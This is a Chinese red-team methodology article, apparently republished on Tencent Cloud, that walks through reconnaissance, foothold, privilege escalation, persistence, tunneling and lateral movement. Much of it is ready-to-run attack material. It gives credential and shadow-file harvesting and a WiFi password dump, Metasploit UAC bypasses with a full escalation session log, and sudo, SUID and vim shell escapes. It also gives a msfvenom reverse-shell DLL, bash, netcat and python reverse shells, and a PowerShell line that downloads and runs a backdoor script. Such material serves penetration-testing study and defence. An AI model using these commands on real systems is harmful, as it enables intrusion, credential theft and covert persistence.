前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >网络安全红队常用的攻击方法及路径

网络安全红队常用的攻击方法及路径

作者头像
网络安全自修室
发布于 2023-12-21 07:42:53
发布于 2023-12-21 07:42:53
1K00
代码可运行
举报
运行总次数:0
代码可运行
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

一、信息收集

收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面,通过对收集的信息进行梳理,定位到安全薄弱点,从而实施下一步的攻击行为。

域名收集

1.备案查询

  • 天眼查
  • 爱企查
  • 官方ICP备案查询

通过以上三个平台,可以查询获得一批主域名、微博、邮箱等。

2.FOFA、Google查询:直接输入公司名称、主域名等进行搜索

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
domain="xxxx.com"
header="xxxx.com"  
cert="xxxx.com"
host="xxxx.com"
body="xxxx.com"

3.证书查询

4.使用浏览器查询

点击小锁–安全连接–更多信息–查看证书(有些可能没有),可以得到一些主域名以及子域名。

5.dns查询

用dnsdumpster.com查询是否存在自建NS服务器,再将ns名带入https://hackertarget.com/find-shared-dns-servers/进行查询,可以获得一批主域名:

6.whois查询

通过查询目标的WHOIS信息,对联系人、联系邮箱等信息进行反查以及查看whois历史信息,获取更多相关的域名信息;微步在线也可以根据IP、邮箱等查询历史域名。

7.通过众测平台查询资产范围,在众测平台上有些厂商会把资产范围放出来。

8.通过主域名对子域名进行搜索,可使用工具、搜索引擎等。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*   OneForAll:集成多种方式搜集子域名,包括dns查询、证书查询等;
*   Amass:kali自带,集成多种收集方式,强烈推荐;
*   [https://crt.sh/](https://crt.sh/):通过证书查找子域名和指纹识别;
*   [https://dnsdumpster.com](https://dnsdumpster.com):是一个在线实用程序,可以查找子域、目标的DNS记录。

9.直接访问收集到的主域名,对网页上指向的域名链接进行收集(可能会放一些OA等办公系统的跳转)。

10.枚举域名

https://github.com/infosec-au/altdns, Altdns是一个DNS侦察工具,允许发现符合模式的子域。Altdns接收可能出现在域下的子域中的单词(如 test、dev、staging),并接收您知道的子域列表。

11.收集应用资产

11.1 天眼查、企查查

11.2 微信APP搜索(小程序、公众号)

11.3 支付宝搜索(小程序、公众号)

11.4 工具ENScan(可查询企业APP信息、微信公众号信息、供应商信息等)

11.5 APP 查找应用商店、豌豆荚(可下载历史app)

11.6 PC可通过官网进行查找下载

12.根据前几种方式获取相关IP,然后探测可能存在的C段,可获取一些没有相关联信息的隐藏资产,再通过IP反查域名(https://github.com/Sma11New/ip2domain)

IP收集

1.真实IP查找

CDN判断:

  • 多地ping,全球ping,查看解析IP是否一致;
  • NSlookup:通过nslookup查看不同DNS域名解析情况来判断是否使用了CDN;
  • 在线检测:https://www.cdnplanet.com/tools/cdnfinder/
  • 通过https证书:有的cdn颁发的证书带有cdn名称,可通过https证书进行cdn识别; 真实IP查找:
  • 通过查询历史DNS记录站点在做CDN之前可能将域名解析到真实IP,通过查询DNS历史记录可能会找到CDN使用前的真实IP;
  • 子域查询法:CDN服务的使用成本还是挺高的,所以很多的站点只对流量大的主站做了CDN,这种情况下我们通过子域枚举就能获取到子站的真实IP,再进行C段;
  • 全球ping:很多CDN厂商因为某些原因仅对国内线路做了解析,这种情况下使用国外主机直接访问就可能获取到真实IP;
  • 通过网站漏洞,如:phpinfo;
  • 需要找xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的banner-grab扫描出来80端口开放的主机进行banner 抓取,最后在http-req中的Host写xiaix.me;
  • 利用应用功能,抓取反向连接查找服务器IP,或者根据应用返回/报错查看。 2.通过IP地址注册信息查询:https://ipwhois.cnnic.net.cn/

3.对上面域名解析获得的单个IP输入查询框,会有一个IP范围

4.使用FOFA等互联网资产收集工具直接搜索公司名称

5.C段扫描

  • rustscan:速度快;
  • goby:图形化直观,支持漏洞验证,端口扫描;
  • fscan:速度快,主机存活探测、端口扫描、常见服务的爆破。

敏感信息收集

1.利用Google

  • Google常用语法:site:*.test.cn filetype:xlsx 学号 site:*.test.cn filetype:docx | pdf | csv | json
  • 搜集管理后台:site:xxx.com 管理、site:xxx.com adminsite:xxx.com login 搜集mail:site:xxx.com intext:@xxx.com 搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php
  • site:*.xxx.com intext:Index of/
  • 其他语法:https://www.exploit-db.com/google-hacking-database2.利用托管平台,如:GitHub、码云等

GitHub常用语法:

  • 敏感信息:xx.com “关键字”
  • 文件搜索:xxx.com filename:properties
  • 关键字:Passwords api_key “api keys” authorization_bearer: oauth auth authentication client_secret api_token: “api token” client_id password user_password user_pass passcode client_secret secret password hash OTP user auth注意事项:如果搜索含有空格的查询,需要用引号将其括起来;

3.目录扫描

  • 备份文件/默认后台
  • 源码泄露(.git/.svn) 通过上面的收集能拿到:域名、IP、邮箱、姓名、手机号等,但需要验证是否属于该单位资产,以及需要对域名以及IP进行存活探测、端口扫描、web指纹识别、目录扫描等,快速定位到易被攻击的系统,从而实施进一步攻击。

存活探测,敏感资产定位

  • https://github.com/EASY233/Finger:一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具;
  • https://github.com/al0ne/Vxscan:python3写的综合扫描工具,主要用来存活验证,敏感文件探测(目录扫描/js泄露接口/html注释泄露),WAF/CDN识别,端口扫描,指纹/服务识别等;
  • https://github.com/EdgeSecurityTeam/EHole:在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击。

二、建立据点

在找到薄弱点后,红队会尝试利用漏洞或社工等方法去获取外网系统控制权限。在这个过程中,红队成员往往会使用最少流量动作去尝试突破边界防御,找到与内网连接的通道,这种由外到内的过程一般称之为纵向渗透,当初步获得权限后,若权限不够会进行提权,在进行稳固权限、建立隧道;

常见打点思路:
  • 社工钓鱼:通过在线客服、私信好友等多种交互平台进行社工攻击,以便更加高效地获取业务信息。社工手段的多变性往往会让防守方防不胜防;
  • 近源渗透:通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”;
  • 设备、系统应用弱口令;
  • 利用边界网络设备、安全设备漏洞,通过设备VPN搭建隧道;
  • web漏洞:shiro反序列化、struts2 漏洞、Log4j漏洞、Spring框架漏洞、逻辑漏洞、中间件漏洞等;
  • 利用小程序、公众号、APP漏洞;
  • 对CMS、备份泄露的源代码进行审计,使用0Day;
  • 利用旁站、子公司、供应链进行迂回打击。

内网信息收集点

Windows

1.本机信息收集(涉及判断:我是谁?我在哪?这是哪?)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ipconfig /all                        --网卡配置
systeminfo                         --系统补丁信息等
echo %PROCESSOR_ARCHITECTURE%                --系统体系结构
wmic product get name,version                    --安装软件、版本、路径
wmic service list brief                                  --查询本机服务信息
tasklist -svc                        --进程查看
schtasks /query /fo list /v                          --任务计划查询
net statistics workstation                             --开机时间
net user                                 --查看用户
whoami /all                        --SID等用户信息
net localgroup administrators                --查看管理员组中的用户
net session                                              --会话查看
netstat -ano                                     --网络连接以及通过端口判断服务
net share                        --共享
route print                        --路由信息
arp -a                           --arp信息
cmdkey /l                                                --登录历史
hosts文件  Linux:/etc/hosts  Windows:c:\Windows\system32\drivers\etc\hosts
ipconfig  /displaydns                                --dns缓存
net view                         --查看共享
dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件
findstr  /s /m "password" *.*              --寻找包含密码字段的文件,如数据库密码文件
net user /domain                     --查看域用户
net time /domain                     --查看时间服务器(可能为DC)
net group "domain admins" /domain            --查看域管理员
net group "domaincontrollers" /domain          --查看域控制器

2.常见默认配置文件位置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*   Tomcat:CATALINA_HOME/conf/tomcat-users.xml;
*   Apache:/etc/httpd/conf/httpd.conf;
*   Nginx:/etc/nginx/nginx.conf;
*   Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf;
*   Mysql:mysql\data\mysql\user.MYD

3.SPN

SPN:服务主体名称,使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
setspn -T domain.com -Q */*

4.会话、连接收集

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
net session     //需要管理员权限,列出或断开本地计算机和与之连接的客户端的会话
Navicat         //注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoft
xshell      //连接记录,可能回存在使用ssh key登录的主机

5.浏览器下载记录、书签、浏览历史以及浏览器保存的密码等

github:https://github.com/djhohnstein/SharpChromium //cookie,passwd,history查看

6.WIFI密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cmd:
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

7.任务计划(有些任务执行时需要将用户名和密码一起附上)、远程桌面连接记录等

Linux(CentOS 7)

1.系统版本信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
uname -a
hostnamectl

2.系统环境变量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /etc/profile 
cat /etc/bashrc 
cat .bash_profile
cat .bashrc 
cat .bash_logout 
env 
set

3.服务、网络连接以及进程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ps -aux               //进程
top
cat /etc/services
systemctl status ssh //查看某个服务是否在运行
chkconfig --list     //查看所有的服务状态
netstat -aunplt      //网络连接
arp -e
route

4.查看安装程序

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
rpm -qa
yum list installed

5.常见配置、敏感文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find / -name *.conf
cat /etc/my.conf      //mysql数据库
cat /etc/httpd/conf/httpd.conf  //apache
tomcat-users.xml       //tomcat
/etc/samba/smb.conf    //samba
cat /etc/resolv.conf   //DNS域名解析
cat /etc/sysconfig/network
cat /etc/hosts
cat /var/apache2/config.inc 
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg
/etc/sysconfig/iptables  //iptables规则

6.查看任务计划

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
crontab -l         //查看任务计划,有部分恶意任务计划需要crontab -e 编辑才能看到
查看anacron异步定时任务:cat/etc/anacrontab
cat /var/log/cron    查看任务计划日志
cat /etc/crontab
cat /etc/cron.d/
cat /etc/cron.daily/
cat /etc/cron.hourly/
cat /etc/cron.weekly/
cat /etc/cron.monthly/
cat /var/spool/cron/
service cron status  #通过任务计划执行的服务

7.可能有哪些纯文本用户名和密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

8.用户信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /etc/passwd
cat /etc/shadow
ls /home   //家目录
last   //登录成功用户
w
cat /etc/sudoers
ls -alh /var/mail/

9.历史记录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
history
cat /root/.viminfo //vim使用记录
cat .bash_history 
cat .nano_history 
cat .atftp_history 
cat .mysql_history 
cat .php_history
cat .python_history

提权

1.基本概念

Windows常见权限分类:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*   User:普通用户权限;
*   Administrator:管理员权限;
*   System:系统权限。

Linux权限分类:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*   User:普通用户权限;
*   www-data:Web服务的权限,比User还要低,一般通过Web漏洞获取的Webshell就是这个权限;
*   root:Linux系统最高权限。

通常有两种提权方式,纵向提权及横向提权;纵向提权指的是低权限角色获取高权限角色的权限、横向提权指在系统A中获取了系统B中同级别的角色权限。常用提权方法有系统内核溢出漏洞提权、服务器中间件漏洞提权、数据库提权、其它第三方组件提权。

2.Windows提权

2.1 提权辅助脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://bugs.hacking8.com/tiquan/```将systeminfo输出的修补程序信息填入查询可利用的漏洞,查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权;

2.2 msf提权

2.2.1 使用getsystem(权限为Administrator时大概率会成功,其他可能需要绕UAC)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
①进程注入方式UAC
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem

②内存注入
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem

③Eventvwr注册表项 
use exploit/windows/local/bypassuac_eventvwr

④COM处理程序劫持
use exploit/windows/local/bypassuac_comhijack

2.2.2 会话派发到msf使用suggester辅助脚本提权

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
meterpreter > getuid    //查看权限
Server username: HACK\testuser
meterpreter > background //当前激活的shell切换到后台
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester   //查找辅助提权模块

Matching Modules
================

#  Name                                      Disclosure Date  Rank    Check  Description


-  ---
-                                      ----
----
----
--
-  ---
-    ----

-  ----
----
---

0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

msf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > sessions //查看会话

Active sessions
===============

Id  Name  Type                     Information                      Connection

-
-  ---
-  ---
-                     ----
----
--
-                      ----
----
--

1         meterpreter x86/windows  HACK\testuser @ WIN-1EVLV0JUJD6  192.168.43.6:8866 -> 192.168.43.87:49394 (192.168.43.87)

msf5 post(multi/recon/local_exploit_suggester) > set session 1 //设置会话
session => 1
msf5 post(multi/recon/local_exploit_suggester) > exploit

[*] 192.168.43.87 
- Collecting local exploits for x86/windows...
[*] 192.168.43.87 
- 30 exploit checks are being tried...
[+] 192.168.43.87 
- exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.43.87 
- exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
//以上为查找出来的可利用的漏洞

msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc   //选择上面的任意一个漏洞模块进入
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options  //查看需要设置的参数

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

Name     Current Setting  Required  Description

---
-     ----
----
----
--
-  ----
---
-  ----
----
---

SESSION                   yes       The session to run this module on.


Exploit target:

Id  Name

-
-  ----


0   Windows x86

msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit 

[*] Started reverse TCP handler on 192.168.43.6:4444 
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
__ __ ___ ___   ___     ___ ___ ___ [*] Sending stage (180291 bytes) to 192.168.43.87

|  V  |  _|_  | |  _|___|   |_  |_  |
|     |_  |_| |_| . |___| | |_  |  _|
|_|_|_|___|_____|___|   |___|___|___|

[by b33f -> @FuzzySec]

[?] Operating system core count: 4
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1212

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1208
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP
[+] Executed on target machine.
[*] Meterpreter session 2 opened (192.168.43.6:4444 -> 192.168.43.87:49513) at 2022-06-01 09:30:28 +0800
[+] Deleted C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1

meterpreter > getuid  //再次查看权限已为system
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

其他提权模块:
exploit/windows/local/unquoted_service_path
set session 1
Exploit -j

use exploit/windows/local/service_permissions
set sessions 1
run

use exploit/windows/local/always_install_elevated
set sessions 1
run

2.3 提权

适用版本:Windows 7、8、10、2008、2012

SweetPotato.exe -a whoami

2.4 DLL劫持提权

使用msf生成一个DLL,替换掉应用的dll,等待应用重启(需要提前在本地测试)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f dll

3.Linux提权

3.1 内核溢出提权

  • uname -a 查看系统版本和内核信息
  • 使用searchsploit在kali 查找相关内核漏洞 3.2 sudo提权
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo --version  //查看版本
sudo -l     //查看当前用户可以使用的sudo的命令程序

常规提权:(需要当前用户密码,如果管理员在/etc/sudoers配置了某些命令免密码使用,则可以利用该命令进行提权) 利用find

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo find . -exec /bin/sh \; -quit或者sudo awk 'BEGIN {system("/bin/sh")}'

python命令提权sudo python -c 'import pty;pty.spawn("/bin/bash")'其他漏洞CVE-2019-14287、CVE-2021-3156

3.3 suid提权

① 查找具有suid权限文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

执行命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find filename -exec whoami \;    //以SUID即root权限执行命令
如果是/usr/bin/bash执行bash -p     //将以root权限打开一个bash shell

② nmap(旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -v   //查看版本
root@localhost:~# nmap --interactive //交互模式
nmap> !sh
root@localhost:~# whoami
root

③ vim Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
vim.tiny /etc/shadow   //读取文件
vim来打开shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

3.4 su

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo su 
- #使用root用户登录,不用输入root密码即可切换

利用python获取交互Shell
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su

3.5 任务计划

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ls -l /etc/cron*
cat /etc/crontab

在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升; 如权限配置不当777的执行脚本,则可以修改脚本内容进行提权;

权限维持

1.反弹shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc
attackhost:nc -lvp 9999
target:/bin/bash -i &> /dev/tcp/192.168.0.198/9999 <&1

netcat
nc -e /bin/bash 192.168.0.198 9999

powershell
将ps1放到attackhost上
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.1 -port 9999

python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.webshell

① 内存马隐藏 ② 通过attrib隐藏文件,在使用ADS流隐藏webshell需要和文件包含配合

3.系统后门

Windows ① 利用任务计划定时反弹会话 ② 利用开机启动项 ③ 影子账户以及guest账户 ④ 注册表 ⑤ 系统工具后门(shift后门) ⑥ WMI后门 ⑦ DLL劫持 ⑧ 进程注入Linux ① ssh、openssh后门 ② 任务计划 ③ VIM后门 ④ 添加超级用户 ⑤ SUID后门 ⑥ 利用自启动程序 ⑦ rootkit后门

4.利用IIS等服务制作后门维持权限

常用隧道建立工具

4.1 探测是否出网

  • ICMP:ping IP;
  • TCP:nc -zv ip 端口;
  • HTTP:curl www.xxx;
  • DNS:nslookup [www.baidu.com] 4.2 网络层常用隧道

4.2.2 IPv6隧道

kali自带,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。

使用:

首先开启目标机上的IPV6,ipconfig查看ipv6地址kali:6tunnel -4 80 targetipv6IP 80 #这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务;

4.3 传输层常用隧道

4.3.1 IOX

github:https://github.com/EddieIvan01/iox

使用,比如我们将内网的3389端口转发到我们的attackhost:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
target:./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565   #-k启用加密

vps:./iox fwd -l *8888 -l 33890 -k 656565

socks代理

修改/etc/proxychains.conf

在本地0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080

在被控机开启Socks5服务,将服务转发到公网attackhost

在attackhost上转发0.0.0.0:99990.0.0.0:1080

你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080       // 注意,这两个端口是有顺序的

接着连接内网主机

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# proxychains.conf
# socks5://1.1.1.1:1080

$ proxychains rdesktop 192.168.0.100:3389

4.4 应用层常用隧道

4.4.1 SSH

SSH常用参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口

4.4.2 本地端口转发

//攻击机:192.168.1.1 web服务器:192.168.1.2 数据库服务器:192.168.1.3,攻击机无法访问数据库服务器,但可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问的场景 攻击机执行:ssh -fCNg -L 2022:192.168.1.1:3389 root@192.168.1.2 -p 22 //攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机,此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面

4.4.3 远程转发

//攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机,通过访问攻击机本机的2022端口来访问数据库服务器的3389端口 在web服务器上执行:ssh -CfNg -R 2022:192.168.1.3:3389 root@192.168.1.1 此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面

4.4.4 动态转发

① 攻击机执行:ssh -CfNg -D 2022 root@192.168.1.2 ② 本地设置socks代理后即可访问数据库服务器

4.6 DNS(iodine) 要使用此隧道,您需要一个真实的域名(如mydomain.com),以及一个具有公共 IP 地址的服务器以在其上运行iodined;

三、横向移动

通常进入内网后,同样会进行内网信息收集、域内信息收集,在通过收集的信息进行内网漫游横向渗透扩大战果,在内网漫游过程中,会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。

内网主机存活探测

1.ICMP

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Windows:
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="

C:\Users\test>for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
来自 192.168.1.1 的回复: 字节=32 时间=2ms TTL=254
来自 192.168.1.3 的回复: 字节=32 时间=127ms TTL=64
来自 192.168.1.5 的回复: 字节=32 时间=14ms TTL=64

Linux:
for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

root@localhost:~# for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
192.168.1.1
192.168.1.3
192.168.1.5

4.nmap

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ARP 扫描:     nmap -PR -sn 192.168.1.0/24
ICMP 扫描:    nmap ‐sP ‐PI 192.168.1.0/24T4
SNMP 扫描:    nmap -sU --script snmp-brute 192.168.1.0/24 -T4
UDP 扫描:     nmap -sU -T5 -sV --max-retries 1 192.168.1.1 -p 500
NetBIOS 扫描:     nmap --script nbstat.nse -sU -p137 192.168.1.0/24 -T4

内网主机端口探测

1.单个端口探测

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
telnet
E:\ipscan>telnet 10.10.25.176 80
正在连接10.10.25.176...无法打开到主机的连接。 在端口 80: 连接失败

NC
root@localhost:~# nc -vv 10.10.12.162 22
Connection to 10.10.12.162 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5

2.多个端口探测

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
fscan    https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -p 1-65535

通过代理后使用nmap、msf进行扫描

横向移动方法:

  • 利用ms17010等系统漏洞
  • 对跳板机密码进行抓取,使用抓取到密码爆破内网其他主机
  • 利用EDR、堡垒机、云管平台、vmware esxi等集权系统漏洞
  • 使用内网邮件服务进行邮件钓鱼
  • 利用IPC$横向移动
  • smb爆破
  • 对管理端口、数据库进行弱口令爆破
  • 未授权访问漏洞
  • 域渗透相关漏洞
  • 虚拟机逃逸
  • … 从信息收集、建立据点到横向移动,以上红队常用的攻击方法及路径;企业可以从中反思审查自身安全漏洞,补齐和完善应有的防御措施,力求从多方位全面保障自身安全。
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-12-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Skywalking微服务监控分析
微服务框架落地后,分布式部署架构带来的问题就会迅速凸显出来。服务之间的相互调用过程中,如果业务出现错误或者异常,如何快速定位问题?如何跟踪业务调用链路?如何分析解决业务瓶颈?...本文我们来看看如何解决以上问题。
yuanyi928
2019/03/07
3K1
实现全链路监控平台很难吗?Pinpoint、SkyWalking、Zipkin 选型对比
随着微服务架构的流行,服务按照不同的维度进行拆分,一次请求往往需要涉及到多个服务。互联网应用构建在不同的软件模块集上,这些软件模块,有可能是由不同的团队开发、可能使用不同的编程语言来实现、有可能布在了几千台服务器,横跨多个不同的数据中心。因此,就需要一些可以帮助理解系统行为、用于分析性能问题的工具,以便发生故障的时候,能够快速定位和解决问题。
java进阶架构师
2021/05/08
1.6K0
实现全链路监控平台很难吗?Pinpoint、SkyWalking、Zipkin 选型对比
一文读懂微服务监控之分布式追踪
现在越来越多的应用迁移到基于微服务的云原生的架构之上,微服务架构很强大,但是同时也带来了很多的挑战,尤其是如何对应用进行调试,如何监控多个服务间的调用关系和状态。如何有效的对微服务架构进行有效的监控成为微服务架构运维成功的关键。用软件架构的语言来说就是要增强微服务架构的可观测性(Observability)。
yuanyi928
2019/08/08
1.1K0
一文读懂微服务监控之分布式追踪
几款符合 OpenTracing 规范的分布式链路追踪组件介绍与选型
Tracing 是在上世纪 90 年代就已出现的技术,但真正让该领域流行起来的还是源于 Google 的一篇 Dapper 论文。分布式追踪系统发展很快,种类繁多,但无论哪种组件,其核心步骤一般有 3 步:代码埋点、数据存储和查询展示,如下图所示为链路追踪组件的组成。
aoho求索
2021/01/28
9.3K1
几款符合 OpenTracing 规范的分布式链路追踪组件介绍与选型
得物云原生全链路追踪Trace2.0-采集篇
2020年3月,得物技术团队在三个月的时间内完成了整个交易体系的重构,交付了五彩石项目,业务系统也进入了微服务时代。系统服务拆分之后,虽然每个服务都会有不同的团队各司其职,但服务之间的依赖也变得复杂,对服务治理等相关的基础建设要求也更高。
得物技术
2022/12/08
1.3K0
得物云原生全链路追踪Trace2.0-采集篇
架构师——复盘落地全链路监控项目
记一次完整的落地全链路监控项目的完整过程,我们来一起复盘下,我是如何进行技术选型的。
35岁程序员那些事
2022/09/23
1.4K0
架构师——复盘落地全链路监控项目
拥抱 Agent,“0” 代码玩转 Trace 之 OpenTelemetry 系列第二弹!
自2006年以来,曾就职于SonyEricsson、SAP等多家公司,历任软件开发工程师,数据开发工程师,解决方案架构师
